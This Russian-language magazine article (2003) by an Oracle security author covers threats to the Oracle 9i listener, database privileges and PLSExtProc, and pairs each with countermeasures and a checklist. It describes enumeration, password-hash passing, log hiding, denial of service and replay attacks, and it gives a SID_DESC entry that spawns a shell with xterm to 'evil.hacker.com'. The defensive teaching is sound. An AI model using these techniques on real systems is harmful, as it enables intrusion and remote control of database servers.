Информационная безопасность Oracle 9i
Ограничения объема статьи не позволяют представить полное руководство по защите систем Oracle, для этого нужно писать книгу. Поэтому мы рассматриваем конкретные угрозы, наиболее часто встречающиеся в Интернете (в таких узлах, как bugtraq), и угрозы, о которых сообщают в Oracle в службу secalert_us; кроме того, мы касаемся угроз на основании исследований, проводимых Security Assurance Group корпорации Oracle. Некоторые из рассматриваемых вопросов были в общих чертах изложены в докладе “Hack Proofing Oracle”, представленном на OpenWorld 2000. Данная статья основана на этой работе.
Половина сообщений, полученных secalert_us, связана с компонентами сетевого доступа; эти сообщения в основном отправляются хакерами и сообществом обеспечения безопасности сетей. Другая половина сообщений в основном связана с доступом к серверам или приложениям. Из сообщений, связанных с компонентами сетевого доступа, половина (25% от общего количества) посвящена листенеру баз данных. Листенер стал объектом атак сообщества хакеров (начинают появляться доступные для загрузки инструментальные средства для исследования защиты листенеров), поэтому в данной статье рассматриваются способы защиты листенеров, а также последствия атак на незащищенные листенеры.
помните: нужно своевременно вставлять заплаты!
На следующей диаграмме показано распределение количества сообщений об ошибках, связанных с безопасностью, которые ежемесячно поступают в secalert_us (данные нормализованы с целью скрыть фактическое количество сообщений).
Рис. 1. Количество сообщений об ошибках, ежемесячно поступающих в secalert_us (данные нормализованы)
Как видите, количество сообщений об ошибках возрастает более или менее линейно, поэтому нет никакой публикации, такой, как эта, которая могла бы отразить самые последние поступившие сообщения. Поэтому читателям настоятельно рекомендуется следить за последними оповещениями о проблемах безопасности и заплатах, сделанных Oracle и доступных в:
http://otn.oracle.com/deploy/security – оповещения о проблемах безопасности;
http://metalink.oracle.com – заплаты.
безопасность листенера
Листенер Oracle – компонент сетевого доступа к системам Oracle. Он принимает клиентские запросы на соединение и направляет их для обработки в соответствующий серверный процесс. Листенер не просто процесс маршрутизации, он имеет свои собственные протокольные и трассировочные файлы, установочные параметры защиты и свой набор команд. Он также поддерживает соединения по протоколам SNMP и SSL.
Хакеры обычно атакуют свои цели, используя удаленный доступ, поэтому листенер может быть первой линией защиты от нарушителей, и это подтверждается рядом сообщений.
Обычно листенер рассматривается как “ступенька” на пути вторжения в базы данных и другие сервисы, которые он может поддерживать. Тем не менее, у него есть достаточно полезные функциональные возможности, которые сами по себе заслуживают внимания.
Плохо сконфигурированный незащищенный листенер предоставляет нарушителю различные способы атак, включая удаленное выполнение команд, атаки типа “отказ в обслуживании”. Целью хакера, атакующего базу данных, является поиск и использование просчетов в конфигурировании листенера.
На следующей схеме показано функционирование листенера Oracle.
Рис. 2. Листенер базы данных.
Листенер – это автономный процесс (сервис в Windows NT/2000), который конфигурируется файлами listener.ora и sqlnet.ora. Он выдает протокольные и трассировочные (отладочные) файлы. Он принимает от клиентов запросы на соединение и управляющие запросы от контроллера листенера (LSNRCTL). Управляющие запросы листенер обрабатывает сам, а запросы на соединение передаются серверному процессу (при необходимости он запускается), который сообщает листенеру, как клиент должен связываться с ним; затем листенер отправляет это сообщение клиенту. После этого клиент и сервер поддерживают связь без вмешательства листенера. Начиная с Oracle9i, листенер может передавать клиентские соединения непосредственно серверу.
перечисление целей: поиск листенеров
Первым шагом при организации атаки является определение уязвимых целей. Oracle зарегистрировала ряд портов TCP, по которым можно найти листенер, на практике могут использоваться также другие порты:
| Порт | Описание |
| 1521 | Порт листенера по умолчанию. Официально не зарегистрирован – фактически зарегистрирован как ncube licence manager. |
| 2483 | Официально зарегистрированный порт листенера. |
| 2484 | Официально зарегистрированный порт листенера для SSL. |
Табл. 1. Обычные порты листенера баз данных Oracle.
Программы сканирования сетевых портов, такие, как nmap, могут показать доступность этих портов, но листенеры могут быть сконфигурированы для работы с другими доступными портами.
Листенер связывается со своими клиентами, используя соответствующий протокол Oracle Net. Этот протокол не «текстовый» плана telnet, поэтому для проверки листенера нельзя использовать стандартные утилиты, такие, как Telnet или netcat. К счастью, Oracle предоставляет инструментальное средство TNSPING, которое также может быть использовано для проверки листенера:
TNSPING (ADDRESS=(PROTOCOL=TCP)(HOST=$хост)(PORT=$порт))
Относительно просто смастерить простой, но достаточно медленный, сканер листенеров, подставляя в скрипте различные значения $хоста и $порта.
Определив целевой хост и номер порта листенера, можно смастерить запись в файле listener.ora, которая позволит программе lsnrctl связываться с целевым листенером. Так, для хоста “victim.us.oracle.com”, прослушиваемого по порту 32768, можно ввести:
victim=
(description=
address=(protocol=tcp)(host=victim.us.oracle.com)(port=32768))
)
Начинают появляться сканеры защиты Oracle, их также можно использовать для поиска листенеров. Например, свободно распространяемый сканер nessus имеет подключаемую возможность для обнаружения листенеров Oracle, работающих на портах 1521 и 1541.
перечисление целей: использование управляющей программы листенера
Обнаружив листенер Oracle, нарушитель захочет определить, имеет ли он какие-нибудь реальные уязвимости. Это называется “перечислением целей” (target enumeration).
Листенер по команде STATUS сообщает о себе массу информации, вывод по умолчанию может быть расширен командой SET DISPLAYMODE для режимов вывода RAW или VERBOSE, например:
SET DISPLAYMODE VERBOSE
В некоторых портах могут использоваться установки по умолчанию. Пример вывода по команде STATUS показан на рис. 3.
Рис. 3. Листенер Oracle 9i выдает свои секреты по команде STATUS.
Как видно, листенер выдает очень полезный список информации, включая:
- операционную систему сервера (полезна для атак на ОС);
- версию листенера (обычно, но не всегда, совпадает с версией базы данных). Полезная информация, когда известны уязвимости данной версии и DBA не вставил соответствующие заплаты;
- время запуска и время работы с точностью до секунд. Знание текущего системного времени может дать ключ к часовому поясу, в котором работает машина, – это всегда полезно для планирования атак, когда администратор, скорее всего, спит. Это может также направить атаки на протоколы и криптографические механизмы, которые базируются на времени;
- проверку установки пароля листенера (установка SECURITY);
- контроль включения трассировки и определение данного ее уровня. Трассировочный файл может содержать подробную информацию о получаемых пакетах;
- контроль включения протокола SNMP (открывает еще один механизм атаки);
- файл параметров листенера и протокольные файлы. Это позволяет узнать каталог ORACLE_HOME (так что, когда мы проникнем в систему, мы будем знать, где находятся данные);
- доступные сервисы. MODOSE – коммуникационный канал для Apache (еще одно служебное имя базы данных; однако соединиться с базой данных по имени “MODOSE” иногда сложно, если статус и команды листенера блокируются межсетевым экраном), PLSExtProc – агент внешних процедур (обсуждается позднее) и другие сервисы, наверняка относящиеся к базам данных. Мы можем использовать это информацию для вставки записей в tnsnames.ora данного сервера и попробовать связаться с базой данных, используя SQL Plus или другие средства.
Даже если не установлен пароль, листенер может быть “закрыт” с помощью новой конфигурационной опции ADMIN_RESTRICTIONS (введена в Oracle9i, для более ранних версий можно вставить заплату; этот параметр описан ниже в подразделе “Меры противодействия – установка параметров защиты листенера”). Используя команды реконфигурирования листенера, такие, как SET LOG_STATUS, можно проверить, включен ли режим ADMIN_RESTRICTIONS (см. рис. 4). Ошибка TNS-12508 указывает, что ADMIN_RESTRICTIONS включен.
Рис. 4. Ответы листенера на команду set log_status при включенном/выключенном режиме ADMIN_RESTRICTIONS.
Дополнительная информация может быть обнаружена с помощью команды VERSION, как это показано на рис. 5.
Рис. 5. Ответ листенера на команду VERSION.
Если пароль листенера не установлен (или мы знаем его), то мы с помощью команды SERVICES можем попробовать получить дополнительную информацию о работающих сервисах, как это показано на рис. 6.
Рис.6. Пример ответа листенера на команду SERVICES.
Это поможет определить другие сетевые порты, используемые сервисами Oracle (которые также могут быть объектом атак). Также отметим дополнительную информацию, выдаваемую в режиме вывода VERBOSE (см. выше), которая раскрывает детали выполняемых программ, их окружение и параметры.
атаки листенера
Перечислив цели в листенере, мы можем описать некоторые атаки на листенер. Наиболее интересные атаки требуют от нарушителя способности реконфигурировать листенер и, следовательно, сначала потребуется преодолеть парольную защиту и ADMIN_RESTRICTIONS. Без реконфигурирования листенера нарушитель будет вынужден ограничиваться только атаками типа “отказ в обслуживании”.
Поэтому мы рассматриваем следующие категории атак:
- преодоление механизма защиты листенера;
- заметание своих следов;
- атаки типа “отказ в обслуживании”;
- удаленное выполнение команд.
преодоление механизма защиты листенера
Нужно преодолеть парольную защиту и конфигурационную опцию ADMIN_RESTRICTIONS. Для преодоления парольной защиты есть следующие механизмы:
- угадывание паролей с помощью внешних механизмов (например, использование "социальной инженерии");
- использование инструментальных средств для организации “лобовых” атак (они начинают появляться и для листенера Oracle);
- атаки типа “передача хеш-значений”;
- прямая модификация конфигурационного файла листенера.
Параметр ADMIN_RESTRICTIONS можно изменить только путем модификации конфигурационного файла листенера.
Если нарушитель может читать файл listener.ora, то можно организовать атаку типа “передача хеш-значений”, используя “старый” формат команды LSNRCTL set_password – установить пароль. Эта команда имеет два режима выполнения. Команда set_password без параметра (пароля) заставляет LSNRCTL выдать приглашение для ввода пароля, который перед передачей листенеру будет шифроваться. Однако, если пароль задан в команде set_password, например, “set_password fred”, пароль будет передан листенеру в незашифрованном виде. Это обеспечивает полезную обратную совместимость, но позволяет развернуть атаки на листенер. Читая хеш-значение пароля из файла listener.ora и используя его в команде set_password, нарушитель может обойтись без необходимости знания пароля.
“Социальная инженерия” – хорошо известная и весьма успешная техника выведывания паролей, но она выходит за рамки данной статьи. Использование инструментальных средств, которые не являются продуктами Oracle, также не рассматриваются в данной статье, так как они непосредственно модифицируют конфигурационный файл листенера через проникновение в операционную систему. Тем не менее, есть две атаки, основанные исключительно на Oracle, которые позволяют модифицировать этот файл:
·для модификации файла с помощью операций базы данных может оказаться возможным воспользоваться мощными привилегиями базы данных, если есть возможность доступа к достаточно мощной учетной записи; такая атака описана ниже в разделе “Атаки баз данных”;
·атака PLSExtProc , описанная ниже в разделе “PLSExtProc” , может предоставить возможность модификации файла, но для организации атаки потребуется доступ к локальной учетной записи на сервере (предварительным условием для удаленных атак является возможность реконфигурации конфигурационных файлов листенера).
заметание своих следов
Предположим, что нарушитель получил доступ к незащищенному листенеру (или преодолел механизмы защиты), тогда ему может захотеться скрыть свою деятельность, чтобы избежать обнаружения во время атаки или после проведенного анализа.
Команды SET LOG_STATUS OFF и SET TRC_LEVEL OFF выключают соответственно протоколирование и трассировку. Используя более творческий подход, можно направить протокольные и трассировочные файлы в /dev/null (UNIX) или в поток NTFS (например, в listener.log:HIDDEN в NT). Для этого в командах SET LOG_FILE/TRACE_FILE нужно задать полный доступа, в противном случае листенер будет добавлять расширение имени файла .log, например:
- SET LOG_FILE listener.txt – откроет новый протокольный файл “listener.txt.log”;
- SET LOG_FILE /data/oracle/9.0.1/network/log/listener.txt – откроет протокольный файл “listener.txt”.
Дальнейшее творческое использование этого стереотипа поведения обсуждается в следующих разделах.
Нарушитель может также отправить собственноручно созданный пакет, содержащий признак конца файла, который может заставить программное обеспечение просмотра протоколов прекратить вывод следующих сообщений.
атаки типа “отказ в обслуживании”
Обнаружено, что листенер может подвергаться ряду атак типа “отказ в обслуживании”:
- использование команд листенера;
- использование опубликованных оповещений о проблемах безопасности;
- атака типа “исчерпание ресурсов”.
Как только процесс листенера будет уничтожен, он не сможет отвечать на любые сетевые запросы. Для перезапуска листенера системный администратор должен будет установить локальное соединение с машиной.
Для организации атак типа “отказ в обслуживании” может быть использован ряд команд листенера:
- команда STOP – простейший способ, она просто аккуратно останавливает листенер;
- команды SET LOG_FILE/LOG_DIRECTORY и TRC_FILE/TRC_DIRECTORY могут быть использованы для перезаписи любых файлов, находящихся в каталогах, которыми владеет Oracle (в UNIX), или любого файла (в NT, где листенер работает как сервис пользователя SYSTEM).
использование опубликованных оповещений о проблемах безопасности
Выпущен ряд оповещений о проблемах безопасности, связанных с листенером (в основном это атаки типа “отказ в обслуживании”), а также появилось несколько инструментальных средств, которые позволяют любому воспользоваться ими. Нарушитель просто указывает целевой листенер и запускает такое средство для аварийного завершения листенера.
атака типа “исчерпание ресурсов”
Эта атака пользуется механизмом создания листенером новых серверных сеансов. Рассмотрим рис. 7.
Рис. 7. Установление через листенер связи клиент-сервер.
Установление соединения через Oracle Net требует выполнения ряда шагов:
- клиент инициирует соединение с сервером, сообщая листенеру, что он хочет связаться с указанным сервисом;
- листенер ожидает поступающих запросов на соединение с сервером. Когда запрос получен, он проверяет, запущен ли серверный процесс (запускает его, если требуется), и сообщает серверу, что ожидается соединение;
- сервер отвечает листенеру, сообщая детали соединения для передачи их клиенту;
- листенер информирует клиента, что сервер ожидает его, и передает ему детали соединения с сервером;
- клиент разрывает свое соединение с листенером;
- клиент начинает соединение с сервером.
Спровоцировав сбой последнего шага в этом процессе, злонамеренный клиент может организовать эффективную атаку сервера типа “отказ в обслуживании”, так как в конечном счете у сервера закончатся ресурсы, израсходованные на ожидание соединений клиентов. Этого можно достигнуть повторяющимся выполнением команды LSNRCTL SPAWN (только в UNIX) или запуском большого количества соединений с базой данных без последующих попыток аутентификации.
удаленное выполнение команд
Листенер можно использовать для выполнения нарушителем команд сервера:
- установив протокольный файл листенера как скрипт оболочки ОС и отослав сфабрикованный пакет, содержащий команды оболочки, нарушитель может выполнять в сервере произвольные команды. После записи в файл, который, вероятно, будет выполнен системным администратором или процессом загрузки системы (например, AUTOEXEC.BAT), эти команды могут быть выполнены пользователем с очень высокими привилегиями;
- как видно из предыдущего анализа, листенер отвечает за запуск серверных процессов. Эти процессы будут работать под пользователем Oracle (в UNIX) или SYSTEM (в NT). Для того чтобы заставить листенер выполнять наши команды, необходимо реконфигурировать файл listener.ora. Это можно сделать через механизм работы с протокольным файлом, направив вывод протокольного файла в файл listener.ora, а затем отослать пакет, содержащий команды, которые мы хотим выполнить. Например, можно послать пакет, содержащий определение SID:
-
(SID_DESC=
(SID_NAME=Hacked)
(ORACLE_HOME=/data/oracle/OraHome1)
(PROGRAM = /bin/sh)
(ARGS = -c, /usr/bin/xterm -display evil.hacker.com:0)
)
Затем нужно перезагрузить листенер (RELOAD) и попытаться соединиться с SID “Hacked”, при успешном соединении в узле “evil.hacker.com” появится окно эмулятора терминала xterm;
- и, наконец, если нарушитель сможет получить на целевой машине локальную учетную запись, если это UNIX и у листенера установлен бит SUID, то появляется возможность выполнять команды как пользователь Oracle, создавая в локальном каталоге файлы LISTENER.ORA и TNSNAMES.ORA, а затем с помощью установки переменной окружения TNS_ADMIN заставляя листенер читать их. Попытки соединения с сервисом, определенном в этих сфабрикованных файлах, заставят листенер выполнять процесс как пользователь Oracle.
Эта атака невозможна в системах NT, поскольку в них листенер работает как сервис NT. Для того чтобы запустить листенер, атакующий пользователь должен иметь возможность создания сервиса NT, то есть уже быть привилегированным пользователем.
меры противодействия – установка параметров защиты листенера
Для защиты листенера от атак можно использовать два конфигурационных параметра, связанных с безопасностью:
- если требуется удаленное администрирование листенера, командой lsnrctl “change_password” установите пароль. После этого без задания пароля (командой lsnrctl set_password) нельзя будет использовать никакие команды для остановки или реконфигурирования листенера;
- на сервере в файле listener.ora можно включить опцию ADMIN_RESTRICTIONS, которая запрещает любые попытки удаленного администрирования независимо от того, задан ли пароль. Разрешается только останавливать (команда STOP) и перезагружать листенер (команда RELOAD). Ясно, что это не защищает от простых атак типа “отказ в обслуживании”.
Подразумевается, что установка пароля и опции ADMIN_RESTRICTIONS взаимно исключают друг друга, то есть ADMIN_RESTRICTIONS устанавливается вместо пароля. Установка как пароля, так и ADMIN_RESTRICTIONS, отключает конфигурационные команды, разрешенные в ADMIN_RESTRICTIONS. В таком случае необходимо вручную изменять файл listener.ora, а затем для ввода этих изменений в действие нужно выполнять команду RELOAD (с заданием пароля листенера).
атаки баз данных
Если нарушитель может соединяться с целевой базой данных как высоко привилегированный пользователь, то появляется возможность злоупотребления очень мощными привилегиями и ролями базы данных для атак на операционную систему сервера и другие базы данных. До Oracle9i имелось очень большое количество иногда очень мощных учетных записей пользователей, создаваемых по умолчанию во время инсталляции. Для защиты таких систем требовалось обдуманное конфигурирование пользователей, однако практика показала, что это выполнялось не всегда. Начиная с Oracle9i, подавляющее большинство учетных записей, создаваемых по умолчанию, блокируется во время инсталляции, запрещая доступ нарушителям и позволяя DBA разблокировать только требуемые для его системы учетные записи. Кроме того, все пароли учетных записей, создаваемых по умолчанию, в Oracle9i устанавливаются с истекшим сроком их действия, поэтому первый пользователь для соединения с разблокированной учетной записью должен задать новый пароль. Эти два простых, но важных, усовершенствования стандартной инсталляции Oracle9i закрывают один из основных путей доступа к базам данных, который использовался хакерами.
Несколько более интересных привилегий и атак описано в табл. 2.
| Привилегия/роль | Атака |
| CREATE LIBRARYCREATE ANY LIBRARYJAVASYSPRIV | Выполняются произвольные команды операционной системы в контексте владельца программного обеспечения Oracle (UNIX) или пользователя SYSTEM (NT). Отметим, что в зависимости от версии базы данных или версии NT (рабочая станция или сервер) пользователь SYSTEM может не иметь возможности непосредственного взаимодействия с экраном или выполнения любых команд, которые требуют экранного доступа, так как SYSTEM не имеет доступа к рабочему столу пользователя.Самый простой способ использования этих привилегий – указать библиотеку в “системном” служебном вызове, который имеет очень простой синтаксис и, по большому счету, не зависит от платформ, например: Create library libsys as '/usr/lib/libsys.so'; -- Solaris |
| CREATE ANY DIRECTORY | Чтение произвольных файлов с помощью вызовов больших объектов. Любой текстовый файл может отображаться как внешний большой объект и читаться с использованием привилегий процесса, принадлежащего Oracle. Это может также использоваться для проверки существования файлов. Так, нарушитель может выполнять в сервере произвольные команды, направлять их вывод в файл и читать этот файл. |
| CREATE DATABASE LINK | Просмотр других баз данных.Можно встраивать данные соединения в команды создания связей баз данных, избавляясь от необходимости наличия соответствующей записи в файле tnsnames.ora. Например:Create database link test Connect to mdsys identified by mdsys Using '(DESCRIPTION= (ADDRESS= (PROTOCOL=TCP)(HOST=victim.us.oracle,com)(PORT=1521))(CONNECT_DATA=(SID=orcl)))'; может использоваться для попытки доступа к базе данных на машине victim.us.oracle.com как пользователь MDSYS, используя SID по умолчанию orcl. Эту привилегию иногда можно использовать для исследования баз данных, непосредсвенно не доступных нарушителю. Например, незащищенная тестовая система может быть использована для просмотра баз данных в корпоративной сети интранет. Также отметим, что пароли связей хранятся в открытом виде в таблице link$. |
Табл. 2. Привилегии баз данных и возможные атаки.
меры противодействия
Если в приложении не требуется использовать вызовы внешних процедур, то можно не запускать процесс PLSExtProc, используемый для выполнения вызовов внешних процедур (как это описано ниже в разделе “PLSExtProc”). Это позволит предотвратить злоупотребления привилегией CREATE [ANY] LIBRARY.
Перед предоставлением пользователям мощных привилегий базы данных следует внимательно рассмотреть последствия. Все ненужные учетные записи необходимо блокировать или даже уничтожать.
Следует учитывать взаимное доверие между базами данных, которое может появиться в результате конфигурирования сети: привилегия CREATE DATABASE LINK (и различные пакеты PL/SQL, такие, как UTL_TCP) разрешают внешние сетевые соединения из базы данных.
Важно понимать, что DBA имеет все привилегии, поэтому он может читать, писать и выполнять файлы и команды операционной системы как пользователь, который является владельцем Oracle.
PLSExtProc
Сервис PLSExtProc – это механизм, который Oracle использует для вызова внешних процедур через ссылки библиотек базы данных, создаваемых командой CREATE LIBRARY (как это было описано выше в разделе “Атаки баз данных”). Поскольку этот процесс представляет собой, так же, как и листенер, просто еще один сервис, то он может прямо взаимодействовать с листенером, не имея сначала соединения с базой данных.
Для того чтобы суметь связаться с PLSExtProc, нам нужно изучить формат сообщений, используемый в базе данных для запуска внешних процедур. Мы можем проверить содержимое сообщений, включив в файле sqlnet.ora опции трассировки:
trace_level_agent = support
trace_level_client = support
trace_level_server = support
В результате, в каталоге трассировки Oracle Net (который, если нужно, можно изменить установкой в sqlnet.ora параметров trace_directory_имя) будет создан ряд трассировочных файлов.
Затем, поскольку для проверки нам нужен подходящий библиотечный вызов, мы предлагаем использовать служебные вызовы операционной системы, например, system(). Подходящей для выполнения командой может быть что-то легкое, типа “dir c:\temp” с завершающими, скажем, 80-ю пробелами. Анализируя впоследствии трассировочные файлы, мы сможем разобраться с сообщениями, которыми обмениваются база данных и PLSExtProc.
Сейчас мы можем написать программу для организации “атаки воспроизведения” на PLSExtProc. Посылая в правильном порядке сообщения, восстановленные по трассировочным файлам, мы можем заставить PLSExtProc выполнить нашу перехваченную команду. Переписав текст параметров, передаваемых в системный служебный вызов, мы можем заставить PLSExtProc выполнять произвольные команды.
Обычно PLSExtProc связывается с базой данных, используя межпроцессные каналы (IPC), это означает, что атака воспроизведения обычно будет действовать только на локальный сервер. Для реконфигурирования PLSExtProc, чтобы он принимал удаленные команды, нужно изменить его запись в файле tnsnames.ora. Запись ADDRESS для PLSExtProc обычно выглядит примерно так:
(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC))
но после изменения ее на:
(ADDRESS=(PROTOCOL=TCP)(HOST=some_host)(PORT=1521))
PLSExtProc будет принимать и отвечать на запросы, поступающие по порту листенера 1521, установленного по умолчанию.
меры противодействия
Если механизм вызова внешних процедур не нужен, то его можно без риска отключить, удалив из файлов listener.ora и tnsnames.ora связанные с ним записи. Это не позволит базе данных связываться с агентом внешних процедур. Для предотвращения реконфигурирования этих файлов и повторного включения механизма вызова внешних процедур следует убрать привилегию запуска процесса PLSExtProc или удалить саму выполняемую программу.
Если агент внешних процедур нужен, то следует рассмотреть использование межсетевых экранов, ограничивающих соединения, исходящие от сервера, с другими машинами (например, с узлами репликации). Пользователи с локальными учетными записями на машине и DBA смогут выполнять команды ОС как пользователи, которые являются владельцами Oracle.
вопросы, подлежащие дальнейшему исследованию
В данной статье затронут ряд вопросов, которые подлежат дальнейшему исследованию, включая:
- другие вопросы конфигурирования листенера, например, регистрация сервисов, SNMP, SSL;
- другие злоупотребления PLSExtProc (например, атаки типа “переполнение буфера” как на сам процесс, так и сервисы операционной системы сервера).
оповещение о проблемах, связанных с безопасностью
Если читатели считают, что они обнаружили новую уязвимость защиты, мы просим сообщить об этом прежде всего в службу поддержки Oracle (для заказчиков с поддержкой) или же по адресу secalert_us@oracle.com. Мы обещаем частным лицам и организациям, которые работают с нами, идентифицировать и решить проблемы безопасности в наших извещениях.
заключение
В данной статье рассмотрен ряд атак баз данных Oracle и описано, как Oracle встречает эти угрозы, по умолчанию или используя простые шаги конфигурирования. Описаны новые функциональные возможности:
·опция листенера ADMIN_RESTRICTIONS;
·блокирование по умолчанию учетных записей базы данных.
Эти, несомненно, простые и незначительные совершенствования, используемые совместно, существенно повышают защиту Oracle9i. Недооценка данных в этой статье рекомендаций может подвергать серьезным атакам (включая атаки типа “отказ в обслуживании”) базу данных, соединенные с ней базы данных и сами серверные машины.
приложение – контрольный список вопросов для оценки защиты листенера
Для того чтобы ваша система не стала жертвой атак, описанных в этой статье, мы подготовили простой контрольный список.
Прежде всего, однако, важно понимать, что листенер может быть скомпрометирован плохой конфигурацией ОС и базы данных. Обдумывайте возможности сетевых соединений с сервером базы данных и для входящих соединений, и для исходящих. Фильтрацию входящих соединений в листенере можно устанавливать с помощью параметров TCP.VALIDNODE_CHECKING, TCP.INVITED_NODES и TCP.EXCLUDED_NODES. Более сложные правила фильтрации могут быть установлены с помощью Connection Manager. Использование межсетевых экранов также позволит фильтровать исходящие соединения, а некоторые межсетевые экраны предотвратят передачу клиентам статусной информации.
В базе данных:
- обеспечьте блокирование или уничтожение всех ненужных учетных записей;
- проанализируйте привилегии и роли, назначенные пользователям, особенно CREATE [ANY] LIBRARY, CREATE ANY DIRECTORY, JAVASYSPRIV и CREATE [PUBLIC] DATABASE LINK;
- уничтожьте процесс PLSExtProc, если он не требуется. Если процесс нужен, локальные пользователи ОС сервера и администраторы базы данных должны быть такими, чтобы им можно было доверять как пользователю, который является владельцем Oracle. Проверяйте код вызова внешних процедур для предотвращения атак типа “переполнение буфера”;
Снимите бит SUID у исполняемого файла листенера (если установлен, по умолчанию в Oracle 9i он не устанавливается).
Проверяйте сайты Oracle с оповещениями, связанными с проблемами безопасности, и с последними заплатами.
Имея защищенную среду, для конфигурирования listener.ora используйте технику перечисления целей, описанную выше.
Используйте команду lsnrctl STATUS для проверки:
·выводятся ли какие-либо данные? Если да, листенер может быть защищен с помощью межсетевого экрана или tcp.validnode_checking;
·если данные выводятся, какова установка SECURITY? Если ON, то листенер защищен паролем;
·если SECURITY имеет значение OFF, проверьте установку ADMIN_RESTRICTIONS, пробуя изменить какой-нибудь параметр листенера, например, направив вывод протокольного файла в существующий протокольный файл. Так, если протокольный файл листенера
/myhost/oracle/OraHome1/network/log/listener.log
используйте команду:
set_log /myhost/oracle/OraHome1/network/log/listener.log
если ответом будет ошибка 12508, это означает, что опция ADMIN_RESTRICTIONS включена.
- если SECURITY имеет значение ON и вы знаете пароль, то можно проверить установку ADMIN_RESTRICTIONS, задав правильный пароль и попытавшись выполнить команду реконфигурирования листенер. Если опция ADMIN_RESTRICTIONS включена, то ответом будет ошибка 1169, даже при правильном пароле.
Результаты всех этих шагов перечислены в таблицах B.1 и B.2.
| Ответ | Значение |
| Никаких данных не возвращается, ошибка 1153 | Листенер, возможно, защищен межсетевым экраном. |
| Никаких данных не возвращается, ошибка 12537 | Включена опция tcp.validnode_checking. |
| SECURITY=ON | Установлен пароль, если вы знаете правильный пароль, также проверьте установку ADMIN_RESTRICTIONS. Проверьте, что установленный пароль удовлетворяет критериям сложности, позволяющим снизить риск “лобовых” атак и атак словаря данных. |
| SECURITY=OFF | Пароль не установлен, проверьте установку ADMIN_RESTRICTIONS. |
Табл. B.1. Ответы листенера на запросы статуса.
В следующей таблице показаны результаты попыток изменения конфигурации, например, командой:
set log_file c:/Oracle/OraHome1/network/log
Ответ покажет, установлены ли ADMIN_RESTRICTIONS или пароль.
| Ответ | Значение |
| Конфигурация изменена (пароль не задавался) | Пароль не установлен.Опция ADMIN_RESTRICTIONS не включена.Это серьезный просчет, который может быть использован для соединения с листенером и организации атак “отказ в обслуживании”. |
| Конфигурация изменена (был задан правильный пароль) | Пароль установлен.Опция ADMIN_RESTRICTIONS не включена.Проверьте, что установленный пароль удовлетворяет критериям сложности, позволяющим снизить риск “лобовых” атак и атак словаря данных. |
| Отвергнуто с кодом ошибки 12508 (пароль не задавался) | Пароль не установлен.Опция ADMIN_RESTRICTIONS включена. |
| Отвергнуто с кодом ошибки 1169 (был задан правильный пароль) | Пароль установлен.Опция ADMIN_RESTRICTIONS включена. Листенер защищен, однако такое состояние может оказаться нежелательным с точки зрения эксплуатации, так как оно никому не позволяет реконфигурировать листенер. Можно только вручную уничтожить процесс листенера, используя для этого команды операционной системы сервера. Необходимость такой конфигурации следует проанализировать. |
Табл. B.2. Ответы листенера на команду SET.
В заключение проверьте протокольные и трассировочные (если трассировка включена) файлы:
- выполнение всех выполненных выше команд должно быть запротоколировано (это позволяет проверить функционирование механизма протоколирования);
- отсутствуют следы необычной деятельности (например, большое количество ошибок проверки пароля), что может указывать на проводимую атаку.
Протокольные и трассировочные файлы листенера – полезные источники информации и их нужно архивировать вместе с журналами аудита ОС и базы данных для возможного расследования.
Howard Smith
Сетевые решения. Статья была опубликована в номере 03 за 2003 год в рубрике save ass…
